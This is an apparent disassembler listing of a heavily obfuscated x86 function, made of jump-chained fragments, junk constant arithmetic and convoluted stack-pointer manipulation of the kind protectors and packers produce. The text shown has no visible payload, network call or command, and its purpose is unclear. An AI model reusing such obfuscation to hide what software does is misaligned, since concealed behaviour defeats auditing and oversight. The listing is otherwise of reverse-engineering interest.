		pop	esi
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebp
		push	esi
		push	ebp
		mov	ebp, 6CD84D5Dh
		mov	esi, 2D07105Eh
		xor	esi, 0F68E727Ah
		sub	esi, ebp
		jmp	loc_5AD0B8
; ---------------------------------------------------------------------------


loc_59F054:				; CODE XREF: sub_58A891+17AA0j
		pop	ebp
		pop	[esp+0B6h+var_B6]
		pop	esp
		jmp	loc_5A0418
; ---------------------------------------------------------------------------


loc_59F05E:				; CODE XREF: sub_58A891+21A39j
		add	esp, 4
		inc	dh
		sub	dh, 7Ch
		sub	al, 8Eh
		add	al, dh
		add	al, 8Eh
		pop	edx
		sub	esp, 4
		mov	[esp+0AAh+var_AA], ecx
		mov	ch, 83h
		shl	ch, 3
		push	ebx
		mov	bl, 99h
		jmp	loc_59C546
; ---------------------------------------------------------------------------


loc_59F080:				; CODE XREF: sub_58A891+270B2j
		add	eax, ebx
		pop	ebx
		jmp	loc_5A0EDB
; ---------------------------------------------------------------------------


loc_59F088:				; CODE XREF: sub_58A891+18C52j
		sub	esp, 4
		mov	[esp+0AEh+var_AE], edx
		jmp	loc_5AE9AE
; ---------------------------------------------------------------------------


loc_59F096:				; CODE XREF: sub_58A891+1A6DCj
		push	eax
		push	esp
		jmp	loc_5A7B73
; ---------------------------------------------------------------------------


loc_59F09D:				; CODE XREF: sub_58A891+1B6E0j
		mov	eax, 6E83624Dh
		push	ecx
		mov	ecx, 4A3769BEh
		add	eax, 256252E9h
		jmp	loc_5B11D0
; ---------------------------------------------------------------------------


loc_59F0B2:				; CODE XREF: sub_58A891:loc_5A548Aj
		xor	esi, 4D83105Dh
		jnz	loc_5B03EB
		add	esi, 0C42D5E72h
		jmp	loc_5A2638
; ---------------------------------------------------------------------------
		push	esp
		mov	ah, bh


loc_59F0CC:				; CODE XREF: sub_58A891:loc_5AD024j
		add	ebx, 8240B089h
		sub	esp, 4
		mov	[esp+0C2h+var_C4+2], ecx
		mov	ecx, 4B9922B1h
		dec	ecx
		jmp	loc_5A3D48
; ---------------------------------------------------------------------------


loc_59F0E6:				; CODE XREF: sub_58A891+17B03j
		push	esp
		pop	ebx
		push	0C3Ah
		mov	[esp+0C6h+var_C8+2], edi
		mov	edi, 7A1D140Ah
		xor	edi, 7A1D140Eh
		add	ebx, 489A1EA6h
		add	ebx, edi
		sub	ebx, 489A1EA6h
		mov	edi, [esp+0C6h+var_C8+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0CAh+var_CC+2]
		pop	esp
		push	8D4h
		mov	[esp+0CAh+var_CC+2], edi
		mov	edi, 14021E8Eh
		push	ecx
		mov	ecx, 0
		sub	ecx, edi
		mov	edi, ecx
		mov	ecx, [esp+0CEh+var_D0+2]
		add	esp, 4
		jmp	loc_5AE0CB
; ---------------------------------------------------------------------------


loc_59F144:				; CODE XREF: sub_58A891+20F4Bj
		mov	edi, esp
		jmp	loc_5A7050
; ---------------------------------------------------------------------------


loc_59F14B:				; CODE XREF: sub_58A891+1E406j
		mov	esi, 693C54D5h
		xor	edi, esi
		pop	esi
		xor	edi, 6534E29Fh
		xor	edx, edi
		pop	edi
		jmp	loc_5A97FE
; ---------------------------------------------------------------------------


loc_59F161:				; CODE XREF: sub_58A891+23C7Cj
		mov	ecx, [esp+0C2h+var_C4+2]
		push	7E61h
		mov	[esp+0C6h+var_C8+2], edi
		mov	edi, esp
		push	762h
		mov	[esp+0CAh+var_CC+2], esi
		jmp	loc_5A8D29
; ---------------------------------------------------------------------------


loc_59F17B:				; CODE XREF: sub_58A891+22346j
		mov	[esp+0CAh+var_CC+2], esi
		push	[esp+0CAh+var_C8+2]
		pop	esi
		pop	[esp+0CAh+var_CC+2]
		jmp	loc_5A0846
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 3B3900D9h
		push	0FA1h
		jmp	loc_5A40A7
; ---------------------------------------------------------------------------


loc_59F19B:				; CODE XREF: sub_58A891:loc_5A1A18j
		xor	eax, 0A27457A9h
		mov	ebp, eax
		pop	eax
		or	ebp, 7D097847h
		or	ebp, 74AA261Bh
		sub	ebp, 0FFFFFFFFh
		xor	ebp, 317D1861h
		jmp	loc_5AF996
; ---------------------------------------------------------------------------


loc_59F1C0:				; CODE XREF: sub_58A891+26849j
		inc	edx
		sub	edx, 7AC02D8Bh
		sub	eax, edx
		pop	edx
		pop	esi
		xor	eax, [esp+0BEh+var_BE]
		xor	[esp+0BEh+var_BE], eax
		jmp	loc_5A466D
; ---------------------------------------------------------------------------


loc_59F1D6:				; CODE XREF: sub_58A891+18DDCj
		mov	edi, 2FF77250h
		mov	ebp, edi
		pop	edi
		push	edx
		push	71F711A0h
		jmp	loc_5A2F3C
; ---------------------------------------------------------------------------


loc_59F1E9:				; CODE XREF: sub_58A891+20DE9j
		mov	edi, 3B9E7553h
		add	[esp+0C2h+var_BE], edi
		pop	edi
		jmp	loc_5A9A29
; ---------------------------------------------------------------------------


loc_59F1F8:				; CODE XREF: sub_58A891+1531Aj
		xor	edi, [esp+0BEh+var_BE]
		xor	[esp+0BEh+var_BE], edi
		jmp	loc_5AD718
; ---------------------------------------------------------------------------


loc_59F203:				; CODE XREF: sub_58A891+1A176j
					; sub_58A891:loc_5A7943j
		push	[esp+0BEh+var_BE]
		mov	esi, [esp+0C2h+var_C4+2]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0C2h+var_C4+2]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0C2h+var_C4+2]
		jmp	loc_5ACE1C
; ---------------------------------------------------------------------------


loc_59F231:				; CODE XREF: sub_58A891+18317j
		push	ebp
		mov	ebp, 29193C4Ah
		xor	ebp, 122663D5h
		or	esi, ebp
		pop	ebp
		or	esi, 368B2BB7h
		jo	loc_5AF6EC
		push	edi
		mov	edi, 80008045h
		add	esi, edi
		pop	edi
		add	ecx, 328A0793h
		sub	ecx, 1247349Dh
		jmp	loc_5AFD0F
; ---------------------------------------------------------------------------


loc_59F266:				; CODE XREF: sub_58A891+15D1Bj
		or	di, 59A8h
		jz	loc_5A8BAB
		jmp	loc_5AD086
; ---------------------------------------------------------------------------


loc_59F276:				; CODE XREF: sub_58A891+1EDEDj
		sub	edi, 0D84BB7E6h
		jmp	loc_5A2963
; ---------------------------------------------------------------------------


loc_59F281:				; CODE XREF: sub_58A891+2442Cj
		mov	eax, 671401E9h
		xor	ebx, eax
		jmp	loc_5AAD97
; ---------------------------------------------------------------------------


loc_59F28D:				; CODE XREF: sub_58A891+187CEj
		add	edi, 6DF1563Dh
		mov	edx, edi
		mov	edi, [esp+0C2h+var_C4+2]
		push	eax
		mov	eax, esp
		jmp	loc_5A3697
; ---------------------------------------------------------------------------


loc_59F2A0:				; CODE XREF: sub_58A891+232E1j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0C6h+var_C8+2]
		jmp	loc_5A8D98
; ---------------------------------------------------------------------------


loc_59F2B3:				; CODE XREF: sub_58A891+1BFEBj
					; sub_58A891+1F06Aj
		push	ecx
		mov	ecx, 3D6C18BAh
		inc	ecx
		push	edi
		mov	edi, 1C374BE7h
		xchg	ebp, edi
		not	ebp
		xchg	ebp, edi
		xor	edi, 0AC3A509h
		add	ecx, edi
		jmp	loc_5AF48B
; ---------------------------------------------------------------------------


loc_59F2D3:				; CODE XREF: sub_58A891+14C31j
		mov	eax, [esp+0CEh+var_D0+2]
		add	esp, 4
		xor	ebx, [esp+0CAh+var_CC+2]
		xor	[esp+0CAh+var_CC+2], ebx
		xor	ebx, [esp+0CAh+var_CC+2]
		mov	esp, [esp+0CAh+var_CC+2]
		idiv	ecx
		push	4649h
		mov	[esp+0CEh+var_D0+2], ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, 4
		sub	ebp, 0F760E71h
		add	ebp, esi
		jmp	loc_5AA5F9
; ---------------------------------------------------------------------------


loc_59F304:				; CODE XREF: sub_58A891+2594Ej
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 383511C8h
		add	ebp, 479C4EDAh
		jbe	loc_5A46EA
		or	ebp, 7C49172Bh
		jmp	loc_59C0E8
; ---------------------------------------------------------------------------


loc_59F328:				; CODE XREF: sub_58A891+20F15j
		push	edx
		mov	dl, bh
		push	ecx
		mov	ch, dl
		mov	ah, ch
		pop	ecx
		jmp	loc_5ACA77
; ---------------------------------------------------------------------------


loc_59F336:				; CODE XREF: sub_58A891+23972j
		push	edi
		mov	edi, 28296DCBh
		push	ecx
		mov	ecx, 0FF302FAAh
		sub	edi, ecx
		mov	ecx, [esp+0E2h+var_E4+2]
		add	esp, 4
		add	edi, 75F6416Ah
		xor	edi, 0CDA747FDh
		jmp	loc_5A19E2
; ---------------------------------------------------------------------------


loc_59F35B:				; CODE XREF: sub_58A891+11DB0j
		push	5C6301B0h
		jmp	loc_5A5263
; ---------------------------------------------------------------------------


loc_59F365:				; CODE XREF: sub_58A891+25FC5j
		mov	eax, esp
		add	eax, 4
		jmp	loc_5AB77A
; ---------------------------------------------------------------------------


loc_59F371:				; CODE XREF: sub_58A891+236D3j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4Ah+var_4A]
		jmp	loc_5A778C
; ---------------------------------------------------------------------------


loc_59F384:				; CODE XREF: sub_58A891+128B2j
		or	edi, 17FC4020h
		jmp	loc_5A103F
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	word ptr [esp+48h+var_4A+2], ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59F39F:				; CODE XREF: sub_58A891+25A3Aj
		push	edx
		mov	dl, 0A4h
		shl	dl, 4
		sub	dl, 1
		dec	dl
		jmp	loc_5A7365
; ---------------------------------------------------------------------------


loc_59F3AF:				; CODE XREF: sub_58A891:loc_5AF208j
		dec	edx
		jo	loc_5A1D4F
		push	esi
		mov	esi, 27285E71h
		add	edx, esi
		pop	esi
		jmp	loc_5B2C19
; ---------------------------------------------------------------------------


loc_59F3C4:				; CODE XREF: sub_58A891+1E7ECj
					; sub_58A891+23563j
		pop	cx
		add	bl, ah
		jmp	loc_5A7B96
; ---------------------------------------------------------------------------


loc_59F3CD:				; CODE XREF: sub_58A891+25F36j
		jmp	loc_5B0241
; ---------------------------------------------------------------------------


loc_59F3D2:				; CODE XREF: sub_58A891+21F53j
		mov	[esp+4Eh+var_4E], edx
		mov	edx, 5A64452Eh
		inc	edx
		inc	edx
		push	esi
		mov	esi, 6E400AC1h
		add	edx, esi
		pop	esi
		sub	edx, 8B4837FCh
		add	ebp, edx
		pop	edx
		mov	edi, [esp+4Ah+var_4A]
		add	esp, 4
		xchg	ebp, [esp+46h+var_46]
		mov	esp, [esp+46h+var_46]
		jmp	loc_5ADB24
; ---------------------------------------------------------------------------


loc_59F402:				; CODE XREF: sub_58A891+180A5j
		push	edi
		mov	edi, 21EC364Dh
		mov	ecx, 0DE13C9B5h
		jmp	loc_5A814D
; ---------------------------------------------------------------------------


loc_59F412:				; CODE XREF: sub_58A891+1F17Fj
		rol	word ptr [esp+4Ah+var_4A], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------
		push	[esp+4Eh+var_4E]
		pop	eax
		push	2191h
		mov	[esp+52h+var_54+2], ebp
		push	esp
		push	[esp+56h+var_58+2]
		pop	ebp
		push	ebx
		push	esp
		jmp	loc_5B2560
; ---------------------------------------------------------------------------


loc_59F434:				; CODE XREF: sub_58A891+25AB7j
		xor	edx, [esp+5Eh+var_60+2]
		pop	esp
		push	ecx
		push	182Eh
		mov	[esp+62h+var_64+2], esp
		add	[esp+62h+var_64+2], 4
		push	[esp+62h+var_64+2]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		push	edi
		jmp	loc_5ABBDB
; ---------------------------------------------------------------------------


loc_59F45B:				; CODE XREF: sub_58A891+122B1j
		pop	eax
		pop	ebx
		jmp	loc_5B2F11
; ---------------------------------------------------------------------------


loc_59F462:				; CODE XREF: sub_58A891+195D5j
		xchg	ebp, [esp+82h+var_82]
		mov	esp, [esp+82h+var_82]
		push	3D8Fh
		mov	[esp+86h+var_86], edi
		push	75A6h
		mov	[esp+8Ah+var_8A], esp
		add	[esp+8Ah+var_8A], 4
		mov	edi, [esp+8Ah+var_8A]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp+86h+var_86]
		mov	esp, [esp+86h+var_86]
		push	ecx
		mov	ecx, 76AA5E08h
		sub	[esp+8Ah+var_86], ecx
		pop	ecx
		add	[esp+86h+var_86], 2E723619h
		sub	[esp+86h+var_86], eax
		jmp	loc_5A4A24
; ---------------------------------------------------------------------------


loc_59F4B1:				; CODE XREF: sub_58A891+210C9j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59F4B6:				; CODE XREF: sub_58A891+1EF8Dj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59F4BB:				; CODE XREF: sub_58A891+11BA7j
					; sub_58A891+14E09j
		add	ebx, 338A18CEh
		pop	esi
		jmp	loc_59F2D3
; ---------------------------------------------------------------------------


loc_59F4C7:				; CODE XREF: sub_58A891+20E0Fj
		xor	edx, 67F5FFE5h
		add	ebx, edx
		pop	edx
		add	ebx, 4
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp-16h+arg_E], esi
		mov	esi, 52A05F3Ch
		neg	esi
		jmp	loc_5B2824
; ---------------------------------------------------------------------------


loc_59F4F3:				; CODE XREF: sub_58A891+241F0j
		push	3BE6h
		jmp	loc_5AD05D
; ---------------------------------------------------------------------------


loc_59F4FD:				; CODE XREF: sub_58A891+231F2j
		mov	ecx, [esp-12h+arg_8+2]
		add	esp, 4
		push	ebp
		mov	ebp, 7B2E195Ch
		add	ebx, ebp
		mov	ebp, [esp-12h+arg_8+2]
		add	esp, 4
		add	ebx, eax
		sub	esp, 4
		mov	[esp-12h+arg_8+2], ecx
		sub	esp, 4
		mov	[esp-0Eh+arg_4+2], esi
		jmp	loc_5AAD16
; ---------------------------------------------------------------------------


loc_59F52A:				; CODE XREF: sub_58A891+234FCj
		push	esi
		mov	esi, 13303763h
		xor	esi, 3B704FDAh
		add	esi, 74EE5C49h
		jmp	loc_5AA0F0
; ---------------------------------------------------------------------------


loc_59F541:				; CODE XREF: sub_58A891+18693j
		xchg	esi, [esp-0Ah+arg_0+2]
		pop	esp
		mov	[esp-0Eh+arg_4+2], edx
		mov	dl, bh
		mov	bh, byte ptr [esp-0Eh+arg_8+2]
		mov	byte ptr [esp-0Eh+arg_8+2], dl
		push	[esp-0Eh+arg_4+2]
		jmp	loc_59DF42
; ---------------------------------------------------------------------------


loc_59F55A:				; CODE XREF: sub_58A891+1DE54j
		mov	eax, 4
		jmp	loc_5A1031
; ---------------------------------------------------------------------------


loc_59F564:				; CODE XREF: sub_58A891+150FCj
					; sub_58A891+16D41j
		xor	edi, eax
		pop	eax
		xor	edi, 694D2AFDh
		push	edi
		jmp	loc_59F963
; ---------------------------------------------------------------------------


loc_59F573:				; CODE XREF: sub_58A891:loc_5A2FA7j
					; sub_58A891+1FCC2j
		mov	ebx, [esp-0Ah+arg_0+2]
		add	esp, 4
		pop	[esp-0Eh+arg_4+2]
		jmp	loc_5A4BA3
; ---------------------------------------------------------------------------


loc_59F584:				; CODE XREF: sub_58A891+1FAC4j
		mov	ax, word ptr [esp-12h+arg_8+2]
		push	7EECh
		mov	[esp-0Eh+arg_4+2], ebp
		push	5DC9h
		jmp	loc_5AE4BF
; ---------------------------------------------------------------------------


loc_59F59A:				; CODE XREF: sub_58A891+22A77j
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp+0], eax
		push	1C915D65h
		pop	eax
		sub	esp, 4
		mov	[esp+0], eax
		jmp	loc_5AFB78
; ---------------------------------------------------------------------------


loc_59F5B6:				; CODE XREF: sub_58A891+25C4Bj
		jns	loc_5AEEC5
		jmp	loc_5AC568
; ---------------------------------------------------------------------------
		add	edi, 6DD90154h
		sub	dh, 0ECh
		push	ecx


loc_59F5CB:				; CODE XREF: sub_58A891+1B616j
		pop	[esp+2+var_4+2]
		jmp	loc_5A9448
; ---------------------------------------------------------------------------


loc_59F5D3:				; CODE XREF: sub_58A891+140DCj
		push	[esp+0Ah+var_C+2]
		jmp	loc_5B24B4
; ---------------------------------------------------------------------------


loc_59F5DB:				; CODE XREF: sub_58A891+203DFj
		inc	[esp+0Eh+var_10+2]
		pop	esi
		add	esi, 0E687F46Bh
		push	esi
		pop	edi
		pop	esi
		sub	eax, edi
		mov	edi, [esp+6+var_8+2]
		jmp	loc_5A97CB
; ---------------------------------------------------------------------------


loc_59F5F2:				; CODE XREF: sub_58A891+1FCF0j
		mov	edx, 0FC608E20h
		xor	eax, edx
		jmp	loc_59E705
; ---------------------------------------------------------------------------


loc_59F5FE:				; CODE XREF: sub_58A891+19D51j
		mov	esi, 52B5595Bh
		xor	eax, esi
		pop	esi
		jmp	loc_5A6977
; ---------------------------------------------------------------------------


loc_59F60B:				; CODE XREF: sub_58A891+227AEj
		xchg	ebp, ecx
		push	0
		jmp	loc_5B1C4B
; ---------------------------------------------------------------------------


loc_59F617:				; CODE XREF: sub_58A891+239D5j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+6+var_8+2]
		pop	esp
		mov	[esp+2+var_4+2], eax
		mov	eax, 26685898h
		sub	ebx, eax
		pop	eax
		push	4A1Bh
		mov	[esp+2+var_4+2], ebp
		push	180Fh
		mov	[esp+6+var_8+2], eax
		push	6E06h
		mov	[esp+0Ah+var_C+2], ebx
		mov	ebx, 42095FD8h
		sub	ebx, 0DE5FC8Bh
		sub	[esp+0Ah+var_8+2], ebx
		pop	ebx
		mov	ebp, [esp+6+var_8+2]
		add	esp, 4
		add	ebp, 3423634Dh
		push	ebp
		add	[esp+6+var_8+2], 0B2A7EA5h
		mov	edx, [esp+6+var_8+2]
		jmp	loc_5A5D26
; ---------------------------------------------------------------------------


loc_59F673:				; CODE XREF: sub_58A891+19678j
					; sub_58A891+20923j
		add	esi, 109E0928h
		xor	esi, 4BC76476h
		add	ebx, esi
		push	[esp+6+var_8+2]
		mov	esi, [esp+0Ah+var_C+2]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5AA84D
; ---------------------------------------------------------------------------


loc_59F698:				; CODE XREF: sub_58A891+279E1j
		sub	ebx, esi
		jmp	loc_59F4BB
; ---------------------------------------------------------------------------


loc_59F69F:				; CODE XREF: sub_58A891+1BAFEj
		add	bl, 0B3h
		pop	eax
		shr	bl, 6
		jmp	loc_5B2CF3
; ---------------------------------------------------------------------------


loc_59F6AB:				; CODE XREF: sub_58A891+13D3Dj
		mov	ebp, 310565ECh
		and	edx, ebp
		pop	ebp
		sub	edx, 0D968A952h
		sub	eax, edx
		pop	edx
		jmp	loc_5AF400
; ---------------------------------------------------------------------------


loc_59F6C1:				; CODE XREF: sub_58A891+2477Fj
		jmp	loc_59E47E
; ---------------------------------------------------------------------------


loc_59F6C6:				; CODE XREF: sub_58A891:loc_5AF9A9j
		or	edi, 71A35AB7h
		jl	loc_5A7928
		xor	edi, 447455FEh
		jmp	loc_5ABE15
; ---------------------------------------------------------------------------


loc_59F6DD:				; CODE XREF: sub_58A891+20293j
		mov	edi, 75B9724Fh
		xor	edi, ebp
		jmp	loc_5A5255
; ---------------------------------------------------------------------------


loc_59F6E9:				; CODE XREF: sub_58A891+21019j
		mov	[esp+32h+var_34+2], ebp
		mov	ebp, esp
		push	edx
		jmp	loc_5A0DAD
; ---------------------------------------------------------------------------


loc_59F6F4:				; CODE XREF: sub_58A891+1BB78j
		xchg	edi, ebp
		inc	edi
		xchg	edi, ebp
		dec	ebp
		add	ebp, 7D4F5CFDh
		push	edi
		mov	edi, 0B436B004h
		xor	ebp, edi
		jmp	loc_5A2F20
; ---------------------------------------------------------------------------


loc_59F70D:				; CODE XREF: sub_58A891+23C04j
		mov	ecx, 2B284B5Dh
		dec	ecx
		jo	loc_5A52BB
		neg	ecx
		add	ecx, 12A1363Fh
		jb	loc_5AE184
		jmp	loc_5A1171
; ---------------------------------------------------------------------------


loc_59F72C:				; CODE XREF: sub_58A891+12729j
		mov	esp, [esp+7Eh+var_7E]
		mov	[esp+7Eh+var_7E], esi
		push	468Dh
		mov	[esp+82h+var_82], edi
		push	4D6C0632h
		pop	edi
		push	esi
		mov	esi, 726112E6h
		jmp	loc_5A5DA7
; ---------------------------------------------------------------------------


loc_59F74B:				; CODE XREF: sub_58A891+243ABj
		mov	ebp, 71F678F4h
		mov	ecx, ebp
		pop	ebp
		xor	ecx, 71F678F0h
		add	esi, ecx
		mov	ecx, [esp+82h+var_82]
		push	eax
		jmp	loc_5A03DF
; ---------------------------------------------------------------------------


loc_59F764:				; CODE XREF: sub_58A891+17BF0j
		sub	edi, esi
		pop	esi
		sub	edi, 6EA3763Bh
		add	edx, 2FC57F91h
		jmp	loc_5AB6AE
; ---------------------------------------------------------------------------


loc_59F778:				; CODE XREF: sub_58A891:loc_59E47Ej
					; sub_58A891+1F2D6j
		or	ecx, 5D364DF7h
		jmp	loc_5A8879
; ---------------------------------------------------------------------------


loc_59F783:				; CODE XREF: sub_58A891+150EBj
		sub	ebp, 5FFD6561h
		xor	ebp, 5BAD0F02h
		jmp	loc_5AEEAE
; ---------------------------------------------------------------------------


loc_59F794:				; CODE XREF: sub_58A891+140A7j
		neg	ebp
		or	ebp, 348647F2h
		add	ebp, 25F46418h
		add	edi, ebp
		push	[esp+1Eh+var_20+2]
		pop	ebp
		jmp	loc_5B1CB1
; ---------------------------------------------------------------------------


loc_59F7AD:				; CODE XREF: sub_58A891+24E56j
		mov	edi, 7DAA7B81h
		shr	edi, 3
		shl	edi, 2
		shr	edi, 3
		or	edi, 120001B5h
		inc	edi
		push	edx
		mov	edx, 17DAA7BAh
		sub	edi, edx
		pop	edx
		add	edx, edi
		pop	edi
		add	edx, 4
		xchg	edx, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_5ABA23
; ---------------------------------------------------------------------------


loc_59F7DD:				; CODE XREF: sub_58A891+18039j
					; sub_58A891+1BE4Cj
		add	esp, 4
		push	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5AE092
; ---------------------------------------------------------------------------


loc_59F7F8:				; CODE XREF: sub_58A891+1B0DAj
		add	ecx, 4
		xchg	ecx, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		push	edx
		push	4
		jmp	loc_5A547F
; ---------------------------------------------------------------------------


loc_59F80F:				; CODE XREF: sub_58A891+1BE01j
		xchg	eax, edx
		sub	esp, 4
		mov	[esp+26h+var_28+2], eax
		add	[esp+26h+var_28+2], 1
		pop	eax
		push	ecx
		mov	ecx, 8103C604h
		add	eax, ecx
		pop	ecx
		mov	edi, eax
		jmp	loc_5AEC71
; ---------------------------------------------------------------------------


loc_59F82E:				; CODE XREF: sub_58A891+234AEj
		neg	eax
		jle	loc_5A56AA
		sub	eax, 55F790CCh
		jmp	loc_5A3811
; ---------------------------------------------------------------------------
		push	ecx


loc_59F841:				; CODE XREF: sub_58A891+2162Bj
		xor	esi, [esp+26h+var_28+2]
		pop	esp
		mov	[esp+22h+var_24+2], edi
		push	esi
		jmp	loc_5AFC56
; ---------------------------------------------------------------------------


loc_59F84E:				; CODE XREF: sub_58A891+264C3j
		xor	esi, 0B435B632h
		add	edx, esi
		pop	esi
		xchg	edx, [esp+22h+var_24+2]
		jmp	loc_5B05BF
; ---------------------------------------------------------------------------


loc_59F85F:				; CODE XREF: sub_58A891+237E8j
		add	esp, 4
		push	ecx
		mov	ch, dl
		mov	[edi+38h], ch
		push	[esp+22h+var_24+2]
		pop	ecx
		jmp	loc_5AD890
; ---------------------------------------------------------------------------


loc_59F871:				; CODE XREF: sub_58A891+1A4BEj
					; sub_58A891+1CB6Ej
		mov	eax, 447341B6h
		shr	eax, 5
		js	loc_5AD61B
		add	eax, 6CDA083h
		shl	eax, 8
		xchg	eax, ecx
		not	ecx
		xchg	eax, ecx
		xor	eax, 2E847DB0h
		xor	eax, 0BEF0AD9Ch
		sub	esp, 4
		mov	[esp+26h+var_28+2], ebx
		mov	ebx, 3506470Dh
		jmp	loc_5A0024
; ---------------------------------------------------------------------------


loc_59F8A8:				; CODE XREF: sub_58A891+1ECC2j
		add	bl, 28h
		jmp	loc_5A24CA
; ---------------------------------------------------------------------------


loc_59F8B0:				; CODE XREF: sub_58A891+187A2j
		xchg	esi, [esp+26h+var_28+2]
		pop	esp
		push	ecx
		push	5119h
		mov	[esp+2Ah+var_2C+2], esp
		add	[esp+2Ah+var_2C+2], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59DDA6
; ---------------------------------------------------------------------------


loc_59F8D3:				; CODE XREF: sub_58A891+229D4j
		mov	[esp+26h+var_28+2], ebx
		jmp	loc_5ABC6D
; ---------------------------------------------------------------------------


loc_59F8DB:				; CODE XREF: sub_58A891+1C832j
		mov	ebp, 7A361AB7h
		jmp	loc_5A222C
; ---------------------------------------------------------------------------


loc_59F8E5:				; CODE XREF: sub_58A891+2783Fj
		mov	edi, [esp+26h+var_28+2]
		add	esp, 4
		push	7251h
		mov	[esp+26h+var_28+2], ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 1FEC7E0Eh
		xor	ecx, 0AD26319h
		dec	ecx
		add	ecx, 1
		inc	ecx
		dec	ecx
		xor	ecx, 153E1D13h
		jmp	loc_5A289E
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+2Ah+var_2C+2]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5B1948
; ---------------------------------------------------------------------------


loc_59F91E:				; CODE XREF: sub_58A891+1A8E7j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+32h+var_34+2]
		pop	esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_5A42C3
; ---------------------------------------------------------------------------


loc_59F93B:				; CODE XREF: sub_58A891+12E05j
					; sub_58A891+2156Bj
		neg	edi
		jnz	loc_5A1B45
		add	edi, 3082DF88h
		mov	ebp, edi
		pop	edi
		jmp	loc_5A42C3
; ---------------------------------------------------------------------------
		pop	ebp


loc_59F952:				; CODE XREF: sub_58A891+206F3j
		mov	ebx, esp
		jmp	loc_59CB64
; ---------------------------------------------------------------------------


loc_59F959:				; CODE XREF: sub_58A891+1F42Ej
		push	16D35721h
		jmp	loc_5ADB6D
; ---------------------------------------------------------------------------


loc_59F963:				; CODE XREF: sub_58A891+14CDDj
		pop	ecx
		push	[esp-0Eh+arg_4+2]
		jmp	loc_5A8CCB
; ---------------------------------------------------------------------------


loc_59F96C:				; CODE XREF: sub_58A891+1AE3Aj
		sub	edi, 2D8E5329h
		jmp	loc_5A4BAF
; ---------------------------------------------------------------------------


loc_59F977:				; CODE XREF: sub_58A891+26B7Cj
		mov	ebp, 565054CAh
		jmp	loc_59F783
; ---------------------------------------------------------------------------


loc_59F981:				; CODE XREF: sub_58A891+16AB8j
		jg	loc_5A034D
		sub	esi, 969946Fh
		jmp	loc_59F564
; ---------------------------------------------------------------------------
		dec	ecx
		pop	edi


loc_59F994:				; CODE XREF: sub_58A891+1597Fj
		xor	ecx, esi
		pop	esi
		mov	edx, 988485ABh
		sub	edx, ecx
		mov	ecx, [esp-12h+arg_8+2]
		add	esp, 4
		and	edx, 267B129Ah
		jle	loc_5AFB61
		add	edx, 0FF63CD03h
		add	eax, edx
		push	[esp-16h+arg_E]
		pop	edx
		add	esp, 4
		push	edx
		push	3B93h
		mov	[esp-12h+arg_8+2], ebp
		mov	ebp, 4DFA41B6h
		add	ebp, 76DD32BDh
		xor	ebp, 29A43B8h
		jnz	loc_5B241F
		add	ebp, 5DE901EEh
		ja	loc_5A01DA
		mov	edx, ebx
		pop	edi


loc_59F9F4:				; CODE XREF: sub_58A891+21B1Fj
		mov	esi, 29957047h
		inc	esi
		jg	loc_5A1746
		add	esi, 1216E205h
		mov	edi, esi
		pop	esi
		mov	eax, ebp


loc_59FA0B:				; CODE XREF: sub_58A891+1C90Bj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		push	ebp
		mov	ebp, 4B502407h
		shl	ebp, 4
		shl	ebp, 5
		xor	ebp, 0F3421772h
		sub	edx, ebp
		pop	ebp
		not	edx
		push	45F6h
		mov	[esp+0], ebp
		push	edi
		jmp	loc_5A6080
; ---------------------------------------------------------------------------


loc_59FA3F:				; CODE XREF: sub_58A891+27631j
		mov	edi, esp
		sub	esp, 4
		mov	[esp-12h+arg_8+2], ecx
		push	4
		pop	ecx
		add	edi, ecx
		pop	ecx
		push	768Bh
		mov	[esp-12h+arg_8+2], ebp
		mov	ebp, 0D7029C6h
		inc	ebp
		jmp	loc_59E197
; ---------------------------------------------------------------------------


loc_59FA66:				; CODE XREF: sub_58A891+22610j
		xor	edx, 7FAD67FCh
		sub	edx, 7ED14F85h
		xor	edx, 0C77B6445h
		jmp	loc_5AACB7
; ---------------------------------------------------------------------------


loc_59FA7D:				; CODE XREF: sub_58A891+2469Cj
		jl	loc_5AA759
		or	eax, 2A0A05C9h
		jnb	loc_5AFC78
		mov	ebx, ecx
		push	ebx


loc_59FA91:				; CODE XREF: sub_58A891+19094j
		push	[esp-0Eh+arg_4+2]
		jmp	loc_5A4099
; ---------------------------------------------------------------------------


